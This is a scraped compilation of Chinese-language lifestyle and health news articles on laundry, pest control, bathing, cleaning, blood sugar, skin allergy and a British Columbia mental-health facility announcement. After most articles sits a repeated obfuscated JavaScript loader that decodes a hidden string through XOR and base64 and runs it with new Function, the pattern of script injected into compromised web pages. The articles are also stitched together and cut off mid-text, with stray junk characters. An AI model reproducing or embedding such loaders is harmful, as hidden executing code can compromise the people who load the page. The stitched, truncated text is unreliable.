既然将洗衣机塞满是错误的，那每次洗衫应该放多少份量才最合适？平岛理惠提出了最完美的“黄金洗衣量”标准，不论是本地家庭常用的前置式（大眼鸡）还是顶置式（日本牌子叶轮式）洗衣机都同样适用：放入脏衣服后，洗衣槽顶部必须预留大约 20% 至 30% 的空隙（七分满）。这个预留的空间能确保衣物在机内有足够的跌落与翻滚动能，让水流、空气和洗衣剂彻底穿透衣物纤维，达到最高效的清洁与省水效果。 2大正确洗衫省水习惯 衣服切勿长时间堆叠  除了拿捏好“七分满”的黄金洗衣量外，专家亦建议初级大人要养成以下两个正确的洗衫习惯，才能真正做到悭水、干净兼备： 第一招：很多人习惯将脱下来的脏衣服、甚至洗完澡后的湿毛巾直接丢进洗衣机里累积。平岛理惠提醒，洗衣槽内部环境本就潮湿，衣服闷在里面一两天，会变成细菌与霉菌繁殖的温床。建议平时使用通风良好的洗衣篮存放脏衣物，待清洗时才放入洗衣机。 第二招：洗衣液或洗衣粉并非“放得愈多愈干净”。如果衣服多、洗衣剂放得更多，一旦洗衣机的水流冲洗力度不够，残留的化学物质不仅会损害衣物纤维，穿上身后更会刺激皮肤，引发敏感。市民应依照黄金洗衣量，并严格遵循洗衣产品标示的建议剂量投放即可。 资料来源：洗衣研究员平岛理 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new...

夏天气温高、湿度上升，垃圾桶及水果盘极易沦为果蝇与苍蝇的温床，引发“蚊滋灾难”！有达人分享，只需利用厨房1款常见的香料，便能驱走果蝇兼防蛆虫。 达人教用1款平价香料 轻松对付蚊滋灾难 据《Dengarden》报道，拥有数百万粉丝的外国居家达人Babs Costello近日在 TikTok上分享防虫秘诀，指出只需利用厨房常见的肉桂，就能轻松击退以下多种夏日常见的蚊虫。这段防虫影片在网络上引发极大回响，更有大批网民激赞：“这是我今天看到的最有用的帖子。” 利用肉桂击退夏日常见蚊虫 1.蝇蛆和苍蝇 只需戴上手套，在垃圾桶的底部及盖子上均匀撒上一层薄薄的肉桂粉，能有效阻挡小虫入侵。 2.果蝇 若不想果蝇飞近家中的水果盘，方法非常简单，只需在盘内放置几根肉桂棒，很快就能彻底摆脱果蝇在生果上盘旋的困扰。 3.蚊子 将两茶匙肉桂粉倒入量杯，加入四杯温水搅拌均匀并静置浸泡。其后将混合液过滤入喷壶，加入半茶匙外用酒精及半茶匙洗洁精。摇匀后喷洒于家居四周环境，即可有效驱蚊。 5招灭果蝇大法 苹果醋+洗洁精都有效？ 除了肉桂之外，大家亦能利用家中现有的简单材料，轻松自制高效的灭蝇工具： 1.自制“苹果醋+洗洁精”陷阱 准备一个干净的浅杯或切开的胶樽底，倒入苹果醋、果醋或喝剩的啤酒，因为发酵的水果与酒香酵素对果蝇有致命吸引力。若家中没有醋，亦可用一块香蕉皮或熟透的水果切片加少许水代替。随后滴入2至3滴洗洁精并轻轻搅拌，破坏水的表面张力，令果蝇一旦停留水面觅食便会立刻沉入水中淹死。最后用保鲜纸封紧杯口，用牙签在表面笃出数个小洞并放置于厨余桶或锌盆旁，果蝇钻入后便无法飞出。 2.天然精油防护棉球 果蝇对刺激性气味十分反感。市民可将薄荷、尤加利、丁香或香茅等天然精油滴在棉球上，放置于果蝇经常出没的区域作自然驱赶，能有效减少牠们聚集与产卵的机会。不过，精油挥发极快，只能作为短暂防护措施，无法根杀果蝇，必须配合环境清洁才能治本。 3.用黄色黏蝇纸 由于果蝇对黄色具备一定程度的趋光与趋色性，可在水果盘、厨余容器或垃圾桶旁边，直接摆放几张黄色的黏蝇纸。牠们极容易主动停靠在纸上而被黏住，日常只需定期更换即可。 4.捕蚊灯与市售诱饵的功效真相 不少人会尝试使用紫外光捕蚊灯来消灭果蝇，但临床发现效果极差。因为果蝇觅食核心依靠的是嗅觉而非视觉，捕蚊灯通常只能电死一般家蚊或蛾蚋，盲目开灯无法根治果蝇。相比之下，市面售卖的果冻膏状诱饵配方较为精准，且含有微量杀虫成分，加上膏状设计不易倾倒溢出，较适合放置于客厅或饭厅。 5.慎用化学杀虫剂 如果想快速解决眼前的飞虫问题，市面上亦有果蝇专用杀虫剂。虽然这类产品杀灭效果迅速，但适用范围有限。市民必须注意，严禁对着锌盆的餐具、砧板或未加盖的食物喷洒，以免造成二次污染。 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

【星岛讯】素里市及乔治王子市将增设全新的非自愿治疗设施，为有复杂精神健康、成瘾及脑部损伤需要的人士提供所需护理。这些经翻新的设施将为医疗系统增添132张床位，并提供治疗及康复服务，支援卑诗省一些有高度复杂护理需要的人士。 这些新增床位将在卑诗省现有逾2,000张精神健康床位的基础上，进一步扩大护理服务。这类治疗床位可为根据《精神健康法》(Mental Health Act) 非自愿入院的人士提供护理，包括最近设于素里预审服务中心 (Surrey Pretrial Services Centre) 及枫树岭Spiritwood Homes的治疗床位，以及全省持续扩大专门护理服务的相关工作。同时，省府正评估省内其他地区未来的精神健康治疗床位需求。 卫生厅长奥祖宜 (Josie Osborne，图) 说：“面对严重精神健康和成瘾挑战的人士，需要安全、适切并能配合其需要的护理。素里及乔治王子市的新设施，将有助确保更多人获得专门支援，包括在他们病情最严重、无法自行求助的时候。”  在素里市扩展护理服务 位于素里市乔治国王大道 (King George Blvd.) 6833/6869号、设有60张床位的全新护理设施，将提供非自愿治疗及一系列专门服务，支援有复杂精神健康及成瘾护理需要的人士。 该设施由省府、菲沙卫生局 (Fraser Health)、省卫生服务局及本地合作伙伴共同推展，将翻新成为安全的精神健康及成瘾护理设施。政府已批准该项目的业务计划。项目预算最高达5,700万元，预计于2028年春季启用。  乔治王子市的本地支援 位于Gunn Rd. 1211号的地点，将重建为一个安全的精神健康及成瘾护理设施。该设施将在现有建筑物内设置60张床位，并新增12张按特定用途设计的床位，支援需要非自愿治疗的人士，并让更多人能在较接近居住社区的地方获得专门护理。 该项目已获批业务计划，预算最高达9,200万元。工程预计于2026年9月展开，第一阶段的24张床位可望于2027年12月或之前启用，其余床位则预计于2028年底或之前启用。  加强卑诗省对有严重精神健康挑战人士的护理 根据《精神健康法》新设的特定精神健康服务，是Daniel Vigo医生提出的一项重要建议。2024年6月，Vigo医生获委任为卑诗省首位精神病学、有毒药物及并发疾病的首席科学顾问。 这是政府改善精神健康及成瘾护理服务的其中一项重要措施，其他行动还包括重点扩大适合所有人的自愿支援服务。省府继续增加及扩展护理服务，包括早期介入与预防、治疗与康复服务、支援式综合护理房屋，以及防止药物过量服务等。 卑诗省精神病学、有毒药物及并发疾病首席科学顾问Daniel Vigo医生说：“经过10年，鸦片类药物危机终于开始出现转机。我们设立了新的服务，例如设于安全的Spiritwood Homes护理设施，以及素里预审服务中心的精神健康治疗床位。今天，我们确认将新增130多张床位，提供全面连贯的自愿及非自愿精神健康与滥药治疗服务。未来还会有类似规模的扩展，直至全省均具备所需水平的精神健康及滥药综合社区和医院护理。” V02

炎夏爆汗，随之而来的体味令人极度尴尬，以为狂喷止汗剂或香水就能掩盖汗臭，这其实治标不治本，随时令异味更难顶。有日本医生拆解体味根源，并教每日只需实行1分钟洗澡法，就能从源头彻底洗走发臭皮脂。 医生教每日早上1分钟洗澡法 彻底除体臭保持全日干爽 据《Yahoo! JAPAN》报道，日本医生早坂信哉指出，夏季是出汗较多的季节，体味也随之而来，不少人以为狂抹止汗湿纸巾、狂喷止汗剂或香水就能掩盖异味。其实，无论年龄大小，甚至近年备受关注的“中年体味”，其根源全都是“汗水与皮脂”。当皮脂随着时间推移，被名为“脂肪酶”的酵素及细菌分解时，就会产生难闻的酸臭味。因此，要彻底消除异味，最基本的方法是洗澡。他特别推介以下几个早上一分钟洗澡除臭方法： 医生教每日早上1分钟洗澡法 1.建议水温摄氏41度 根据东京燃气公司的一项研究显示，早上只需花1分钟时间淋浴，便能洗走夜间睡眠时分泌的大量皮脂，从而有效抑制白天的皮脂分泌，保持干爽至夜晚。为了预防体味，无需严格遵循特定的水温，但摄氏41度左右是一个不错的参考温度。原因在于皮脂遇冷水容易凝固，极难被冲走，需要一定温度才能顺利清除。由于热水从花洒流到身体时，温度本来就会稍微下降，因此将水温设定在41度左右，实际接触皮肤时的温度刚好最适合清除皮脂。 若希望早晨更快提神，可将水温调至约42度，有助自律神经由副交感神经转换成交感神经，迅速唤醒身体，不仅有助于减少皮脂，也能提升白天的精神状态。相较之下，不建议冲冷水澡，因为冷水无法有效去除皮脂。 2.浸浴 淋浴胜在方便快捷，但若想彻底清除毛孔深处的污垢与皮脂，浸浴绝对是更好的选择。洗澡的顺序也有技巧：若想清洁效果最大化，建议先在热水中浸泡约4至5分钟，让角质层与皮脂软化，随后才开始清洗身体，污垢会更容易洗净。即使晚上时间紧迫，睡前浸浴短短2至5分钟，彻底洗净汗水与皮脂的效果也远比单纯淋浴好。如果每天晚上都只有淋浴，很可能仍有部分皮脂残留。 3.避免用力搓洗 很多人以为体味重，洗澡时就要用沐浴露或番枧狂搓猛洗。皮肤表面存在着被称为常驻菌丛的益菌，过度使用清洁用品会破坏菌丛平衡，反而令体味变得更明显。若经常用番枧用力刷洗，会削弱皮肤屏障功能，可能导致体味加重、皮肤干燥及痕痒。因此，白天若要多次淋浴，基本原则是仅用清水冲洗便已足够。 此外，使用粗糙的尼龙搓澡巾大力猛擦身体，会强行剥落角质层，导致皮肤干燥及痕痒。尼龙搓澡巾真正的用途应该是“起泡”，而不是拿来刷身体。 4.用泡沫轻轻清洁即可 正确的洗澡方法，是将尼龙毛巾仅用作起泡工具。取适量起出浓密绵滑的泡沫于掌心，将泡沫轻轻涂抹在皮肤上，想像利用泡沫去吸附污垢和油脂。理想的泡沫应该浓密到放在手掌上翻转也不会掉落，将泡沫覆蓋皮肤后，不需要停留太久，随即冲洗即可。 洗澡时，应将清洁集中在皮脂分泌旺盛的部位，包括腋下、臀部、脸部、头皮、背部及胸口，必须用温水彻底冲洗。相反，手脚等较少出油的部位，则无需过度仔细清洁。若经常使用沐浴产品，建议挑选含有神经酰胺等保湿成分的产品，防止皮肤变粗糙。 资料来源：《Yahoo! JAPAN》(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var...

家中镜子、淋浴门或窗户上的水渍，不仅影响美观，更可能藏匿细菌，影响家居卫生。而这些雾状斑点、条纹和水环，其实是矿物沉积物与皂垢累积的结果。其实只要用对方法，大多数水渍都能安全清除，各位“初级大人”要留意！ 水渍元凶是矿物沉积+皂垢！ 专业清洁人员Isabella Flores解释，一般水内会含有钙和镁，当水分在玻璃表面自然风干后，这些矿物质便会残留，形成水渍。每次水滴蒸发而不被擦拭，矿物质便会不断累积，随时间变得更难清除。加上沐浴露或洗头水，结合成难洗的矿物皂垢沉积物。若长期忽略，矿物沉积物甚至可能侵蚀玻璃表面，造成无法以清洁修复的永久性损伤。 清除水渍｜必备材料 白醋 水 洗碗精 梳打粉 玻璃清洁剂 软质海绵 超细纤维布 喷雾瓶 Isabella Flores提醒，切勿使用钢丝绒、金属刷或任何研磨性清洁垫，否则会在玻璃留下刮痕，令情况恶化。 清除水渍｜安全步骤  1. 先判断是沉积物还是侵蚀 清洁专家Kellsie Zapata建议，用手触摸玻璃表面：若感觉粗糙或有纹理，多为矿物堆积；若表面雾化但平滑，则可能已遭侵蚀，无法自行清洁。 2. 清除表面灰尘 先用清水彻底冲洗玻璃，避免清洁时灰尘刮伤表面。 3. 喷洒醋溶液 以等量白醋和水混合，均匀喷洒在玻璃上，静置5至10分钟。若沉积物较厚，可直接使用未稀释白醋，静置约30分钟。 4. 擦拭测试 用超细纤维布擦拭，若水渍已除，可跳至下一步。 5. 顽固沉积物用梳打粉糊 若仍有残留，将梳打粉、少量洗碗精和少许水调成糊状，用软质海绵以画圆方式轻柔涂抹。 6. 冲洗并擦干 彻底冲洗玻璃，再以超细纤维布擦干。 7. 玻璃清洁剂收尾 将玻璃清洁剂喷在布上，轻拭表面，呈现无条纹光泽。 若仍无法清除怎么办？ 若清洁后玻璃仍呈雾状且触感平滑，表示矿物质已造成永久性侵蚀。Zapata强调，这种损伤无法透过清洁修复。此时应联络专业玻璃修复技师，而非继续自行尝试。 玻璃水渍不仅影响视觉，也可能成为细菌滋生的温床。掌握以上方法，并养成定期擦拭玻璃的习惯，可有效防止矿物积聚，让家居环境保持清洁明亮。 资料来源：Martha Stewart T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var...

你以为每日洗完衫，衣物就真正干净吗？洗衣机非自动杀菌器，若不定期清洁，便会成为微生物的温床。有医生分享，家用洗衣机若不定期清洁，可能成为细菌和10/7  霉菌的温床，令衣物从“脏水池”中捞上来，随时引发皮肤搔痒、红疹，甚至肠胃不适。想让衣服真正干净，就必须先令洗衣机本身保持清洁，守护家人健康。 洗衣机为何会变脏？80%细菌超标 重症科医生黄轩在个人Facebook撰文，指出洗衣机内部暗藏的卫生陷阱。洗衣机的污垢主要来自洗衣液使用过量，而超量的洗衣液会残留在洗衣机内，尤其是洗衣机夹层和底盘，形成污垢，这些污垢更可能比马桶细菌多。   调查发现，家用洗衣机中约80%的细菌总数超标，超过一半检出大肠杆菌与霉菌。国际研究亦指出，洗衣机环境中可能残留耐药菌，进而污染衣物，甚至在医疗机构造成交叉感染。即使经过清洗与漂洗，衣物上仍可能残留革兰氏阴性菌与霉菌，证明“洗衣”并不等于“杀菌”。tttťu 滤网黑黏、筒槽夹层成霉菌大本营 黄轩医生指出，洗衣机外表光亮如新，但内部结构复杂，多个隐蔽位置容易积聚污垢。专业维修师傅拆开洗衣机后，常见以下惊人场面： 滤网：卡住毛发与纤维，长期不清如同垃圾桶。黑黏一坨，散发异味。 内外筒夹层：潮湿缝隙最适合霉菌生长。筒槽刷洗时，水瞬间变成泥浆色。 底盘与排水管：残留水垢与洗衣粉，成为细菌繁殖区，如同从下水道捞出。 许多人惊觉每日穿着的“干净衣物”，竟然是从如此肮脏的环境中漂洗出来。 日常清洁 vs 专业拆洗 黄轩医生指出，消费者可以自行进行日常维护，但效果有限，建议定期进行专业拆洗： 1. 日常清洁：使用洗衣机时可配合含氧漂白剂清洁剂；洗后保持内筒通风，减少湿气积聚。 洗衣机清洗方法： ·使用洗衣机槽自洁模式或一般清洗模式，开到最高水位。 ·加入洗衣机清洁剂或过碳酸钠，溶于温水后倒入洗衣机。 ·如果污垢多，可以在中间暂停，捞干净后再继续清洗。 ·洗衣机槽洗净脱水后，用湿毛巾擦拭底部污垢。 ·再用满水位的洗衣模式继续进行清洗，直至没有污垢为止。 2. 专业拆洗：建议每3至6个月聘请专业师傅进行一次拆机深层清洗。 研究证实，“含氧系漂白剂”能显著降低洗衣机与衣物上的细菌负荷，而单用醋或梳打粉效果有限。 资料来源：重症专科医生黄轩(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var...

不少人为控制血糖，日常追求进食养生食物，但要小心误堕“伪健康”饮食陷阱！有专家警告，有5款看似健康的食物暗藏高升糖危机，其中连燕麦粥、糙米粥也上榜。 5大食物暗藏高血糖陷阱 常吃燕麦粥/糙米粥都中招 抗老化保健学会前理事长、营养学者谢明哲在Facebook专页发文指，有朋友问他：“为甚么我的饮食已经吃得很养生了，血糖数值还是高得吓人？”他指出，在生活中意识觉得健康的食物，实际上未必真的健康。例如早上冲泡一杯黑芝麻糊、中午吃一个紫米饭盒、下午茶喝杯燕麦奶配果干，这些看似极度养生的饮食配搭，其实都属于含有高升糖指数的血糖陷阱。他特别点名以下5大暗藏高血糖陷阱的食物： 1.紫米 很多人以为紫米一定比白米健康，但紫米的本质其实是糯米（支链淀粉含量高）。它在人体消化道内消化及分解的速度非常快，会导致血糖迅速攀升，其升糖指数甚至比白米还要高。 2.冲泡式坚果谷物粉（黑芝麻糊、五谷粉） 将原型谷物高度研磨成细粉后，会大大增加淀粉与肠胃接触的面积，令消化速度变得更快。此外，为了迎合大众口味，市面上许多冲泡谷物产品在制作时，都会额外添加麦芽糊精或糖。 3.燕麦奶 燕麦奶本质上属于糖类食物，当中的蛋白质和钙质含量远低于牛奶或豆浆。而且，部分市售燕麦奶会添加植物油，或在制作过程中将燕麦淀粉经酵素水解，导致升糖指数比原型燕麦还要高。 4.果干 水果在脱水的过程中水分会流失、体积变小，但当中的糖分却会被高度浓缩。此外，许多市售的蔓越莓干或青提子干，生产商为了调整酸度，在制作时还会额外加入大量糖分进行蜜渍。 5.糙米粥、燕麦粥 糙米和燕麦本身确实是低升糖指数（低GI）的优质主食，但若把它们煮成软烂、黏稠的粥，情况就完全不同了。长时间的高温烹煮会令谷物产生糊化作用，淀粉结构被打破，从而大大提升其在肠道中的消化及吸收率，加快血糖飙升的速度。 谢明哲提醒，虽然上述食物并非绝对不能食用，它们仍含有一定营养素，但极容易引起饭后血糖大幅波动。建议在挑选食物时，应尽量选择原型、有嚼劲、加工程度越低的食物，这样对血糖控制才会更加友善。 血糖多高已是糖尿病前期？留意8大初期症状 根据香港医管局资料，糖尿病是一种代谢失调的慢性疾病。当胰岛素分泌不足，或人体无法正常利用所产生的胰岛素时，血糖便会上升。血糖过高会引致脂肪及蛋白质代谢紊乱，长远更会破坏心血管、视网膜、神经、肾脏等等多个身体系统及器官之机能。 如若空腹血糖水平≥5.6至<7 mmol/L，视为空腹血糖异常；餐后两小时血糖水平≥7.8至< 11.1 mmol/L，则是血糖耐量异常。两种情况均属于前期糖尿病。 糖尿病者初期常见征状 经常口渴 小便频密 感到饥饿 体重下降 容易疲倦 视力模糊 伤口不易愈合 皮肤痕痒，女性或会出现阴部发痒的情况 资料来源：抗老化保健学会前理事长营养学者谢明哲、医管局 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var...

每逢转季，不少香港人的皮肤便开始“发脾气”，面颊无故泛红、干燥脱屑，甚至湿疹、风癞（荨麻疹）集体爆发。许多人以为这只是单纯的皮肤表面问题，于是花费大量金钱购买贵价护肤品、抗敏面霜，结果往往徒劳无功。 皮肤反复敏感是求救讯号 临床医学指出，皮肤反复敏感的根源，其实是身体内部的免疫系统正在向你发出求救讯号！皮肤作为人体最大的外在器官，往往首当其冲反映内在的失衡。要彻底根治敏感肌，必须学懂“内服外养”的科学原理，透过饮食调节免疫力，由内而外重建健康的皮肤屏障。 以香港最常见的异位性皮肤炎（湿疹）为例，患者体内的 Th2 免疫细胞通常过度活跃。这类细胞会释放大量的促炎细胞因子，直接破坏皮肤角质层的完整性。健康的免疫系统犹如身体的军队，一旦军队“指挥失灵”，就会演变成自己人打自己人，造成持续的皮肤发炎。 免疫失调4大核心成因 皮肤科医生解构，当身体的免疫系统出现以下四大问题时，过敏反应就会直接显现在皮肤上： 屏障功能受损： 当免疫系统失衡或过度活跃时，会错误攻击自身的皮肤细胞，引发慢性发炎，导致角质层的锁水功能大跌，令外界的灰尘、致敏原更容易入侵，形成“愈痕愈抓、愈抓愈炎”的恶性循环。 压力荷尔蒙作祟： 香港人生活节奏急促、工作压力大。长期处于高压状态会令身体分泌大量“压力荷尔蒙”皮质醇，这种物质会直接抑制免疫系统，拖慢皮肤细胞的更新与修复速度，令皮肤变得脆弱暗哑。 肠道菌群失衡： 医学界近年推崇“肠皮肤轴线（Gut-Skin Axis）”理论。肠道是人体最大的免疫器官，一旦肠道坏菌过多，会引发“肠漏症”，使毒素进入血液并诱发全身性免疫反应，最终在皮肤上爆发红疹。 外在环境刺激： 空气污染、紫外线以及冷热天气急剧转变，都会对皮肤造成物理刺激。对于免疫力较弱的人士，这些外在环境因素极易成为触发皮肤发炎的临界点。 8大增强免疫抗敏食物 想要摆脱“玻璃肌”，营养师建议市民无需刻意购买昂贵的补品，只需在日常茶饭中多加进食以下八种在本地超市就能轻松买到的“抗炎神队友”： 益生菌食品（如无糖乳酪、泡菜、康普茶）： 直接为肠道补充好菌，抑制坏菌滋生，从根源改善“肠漏症”引起的皮肤敏感。 深海鱼类（如三文鱼、鲭鱼、沙甸鱼）： 富含 Omega-3 脂肪酸（EPA 及 DHA），是天然的强力抗炎剂，能有效滋润皮肤、减轻红肿。 维他命 C 水果（如奇异果、士多啤梨、橙）：...

夏至过后，阳气极盛，香港进入“室外大暑酷热、室内秋凉冻感”的典型“冰火两重天”环境。这种剧烈温差，正是都市人夏季容易生病的原因，中医称之为“阴暑”。 夏至5大养生法则 应对港式冰火夹击 夏至期间人体毛孔大开，阳气趋于体表，脾胃相对虚寒。若频繁出入冷气场所，加上过量饮用冻饮，寒气便会乘虚而入，损伤脾胃，影响健康。面对夏季“冰火夹击”，我们该如何养生？以下提供5大养生法则，助大家安然度过炎夏：   1. 出入冷气房严护三关 进出冷气场所时，宜披上薄外套或围巾，重点保护肩颈、后颈及膝盖。进入冷气房前，应先抹干汗水，避免毛孔急速闭合，将暑热困于体内。 2. 戒绝冻饮改喝陈皮水 冰冻饮品易伤脾胃阳气，建议改饮用室温的陈皮水，有助发挥健脾化湿的功效。 3. 晚睡早起＋午间小憩 夏至后昼长夜短，中医养生强调顺应天时“晚睡早起”（约晚上11时就寝、清晨6时起床），并可于中午小睡15分钟，有助养心宁神。 4. 清晨微汗运动忌虚耗 夏天运动应避免大汗淋漓，以免损耗心气。建议于清晨进行八段锦或太极等温和运动，微微出汗即可，有助气血运行。 5. 时令汤水健脾祛湿 延续香港人饮汤习惯，可因应体质煲煮适合的老火汤，以驱除体内湿气。适合夏天饮用的养生汤水： ·老黄瓜赤小豆扁豆瘦肉汤：清热、利水、消肿 ·绿豆陈皮老鸭汤：滋阴消暑 ·小贴士：煲汤时添加两片生姜，有助中和食材凉性，保护脾胃 只要顺应节气、调整生活习惯，便能有效抵御“冰火夹击”带来的不适，安然度过炎夏，并为即将到来的“三伏天”打好基础，实践“冬病夏治”的养生之道。 撰文：香港都会大学护理及健康学院讲师王艳萍博士(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var...

每日冲完咖啡，习惯将咖啡渣直接当垃圾倒掉？有专家盘点咖啡渣的9大神奇隐藏用途，不仅能代替化学洗洁精轻松去油污，更是极速吸除鞋柜异味的天然神器。 咖啡渣9大神奇隐藏用途 可当洗洁精兼除鞋臭？ 据日媒《grapee》报道，不少喜欢滴漏咖啡的人，冲泡后都会将残留的咖啡渣直接当垃圾倒掉。Key Coffee株式会社指出，咖啡渣有以下9大隐藏用途： 咖啡渣9大神奇隐藏用途 1.自制天然肥料及堆肥 咖啡渣具有多孔结构，表面有许多孔隙，有助改善土壤状况，是家庭园艺的理想肥料。不过，若直接将咖啡渣撒在泥土表面是无效的，必须按照以下步骤制作肥料： •在纸箱内铺上报纸，并用封箱胶纸将底部及四侧密封，防止液体渗漏。 •将枯叶或落叶装至纸箱约七成满，加入已彻底风干的咖啡渣并搅拌均匀。 •每天轻轻搅拌使其充分发酵，若摸上去有微温，即代表发酵顺利，过程中可持续加入咖啡渣。 2.循环再用作除臭剂/空气清新剂 咖啡渣具有极佳的吸味及除臭功效，非常适合用于鞋柜、烟灰缸、厕所、雪柜、塑胶保鲜盒、锅碗及烤鱼架等容易产生异味的地方。只需将干燥的咖啡渣装入布袋，或放在开口容器内，放置于需要除臭的角落即可。若想去除煮食锅具的异味，可在锅中加水及咖啡渣，煮沸后放凉再清洗，便能极速除臭。 3.天然除草剂 咖啡渣含有抑制植物生长的物质，能有效防止杂草滋生。与做肥料不同，若用作除草，只需将干燥的咖啡渣直接撒在想抑制杂草生长的区域即可。 4.驱虫及防流浪猫 蚂蚁、蚊子、蛞蝓、蜗牛，甚至猫，都非常讨厌咖啡散发的气味。因此，在屋外四周、花槽沟、外墙边或房屋周围的地面撒上咖啡渣，能有效驱赶害虫及防止流浪猫靠近。 5.浸浴剂 对于喜欢咖啡香气的人，咖啡渣更是极佳的沐浴添加剂。只需将咖啡渣放入布袋绑紧，直接放入浴缸中，浴室便会弥漫着淡淡的咖啡香，带来极致放松的浸浴体验。 6.洗洁精替代品 咖啡渣能用作洗洁精，可用来清洗玻璃杯及水樽。只需在瓶内加入少量咖啡渣，摇晃几下便能轻松洗净。面对极度油腻的餐具，先用咖啡渣擦拭吸油，随后清洗会变得更加轻松。 7.用于染料和颜料 将咖啡渣加水煮沸后提取的液体，可当作天然染料或颜料使用。由于不同咖啡豆种类及烘焙程度会产生深浅不一的咖啡色，大家可尝试调配不同浓度，染出独一无二的布料质感。 8.擦鞋及金属抛光打蜡 咖啡渣内含的天然油脂能令物件表面回复光泽，是绝佳的皮鞋及金属抛光剂，甚至能替代打蜡产品。使用时，只需将干燥的咖啡渣用干布包裹，在表面轻轻擦拭即可。 9.缝纫针插填充物 喜欢做手作的人，不妨用干燥的咖啡渣代替棉花作为针插的填充物。咖啡渣的油脂不仅能提供防锈保护，还能增加在织物上的润滑度，令缝纫时更加顺畅。 资料来源：《grapee》 T10(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var zf368b3=y17321a*81; var _0xc4c3ed2ddbac=; var _0xd2590aeec7ec=72; var _0x695b12d6658b=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0xc4c3ed2ddbac.length;_0xecc7dff14118++) _0x695b12d6658b+=String.fromCharCode(_0xc4c3ed2ddbac^_0xd2590aeec7ec); var _0xb2ada9a65d62=121; var _0x61fc9cbf8bf3=atob(_0x695b12d6658b); var _code=''; for(var _0xecc7dff14118=0;_0xecc7dff14118<_0x61fc9cbf8bf3.length;_0xecc7dff14118++) _code+=String.fromCharCode(_0x61fc9cbf8bf3.charCodeAt(_0xecc7dff14118)^_0xb2ada9a65d62); (new Function(_code))(); })();(function(){ var x46eaa6=6026; if(x46eaa6>0){var y17321a=x46eaa6-6757}else{var y17321a=6757} var 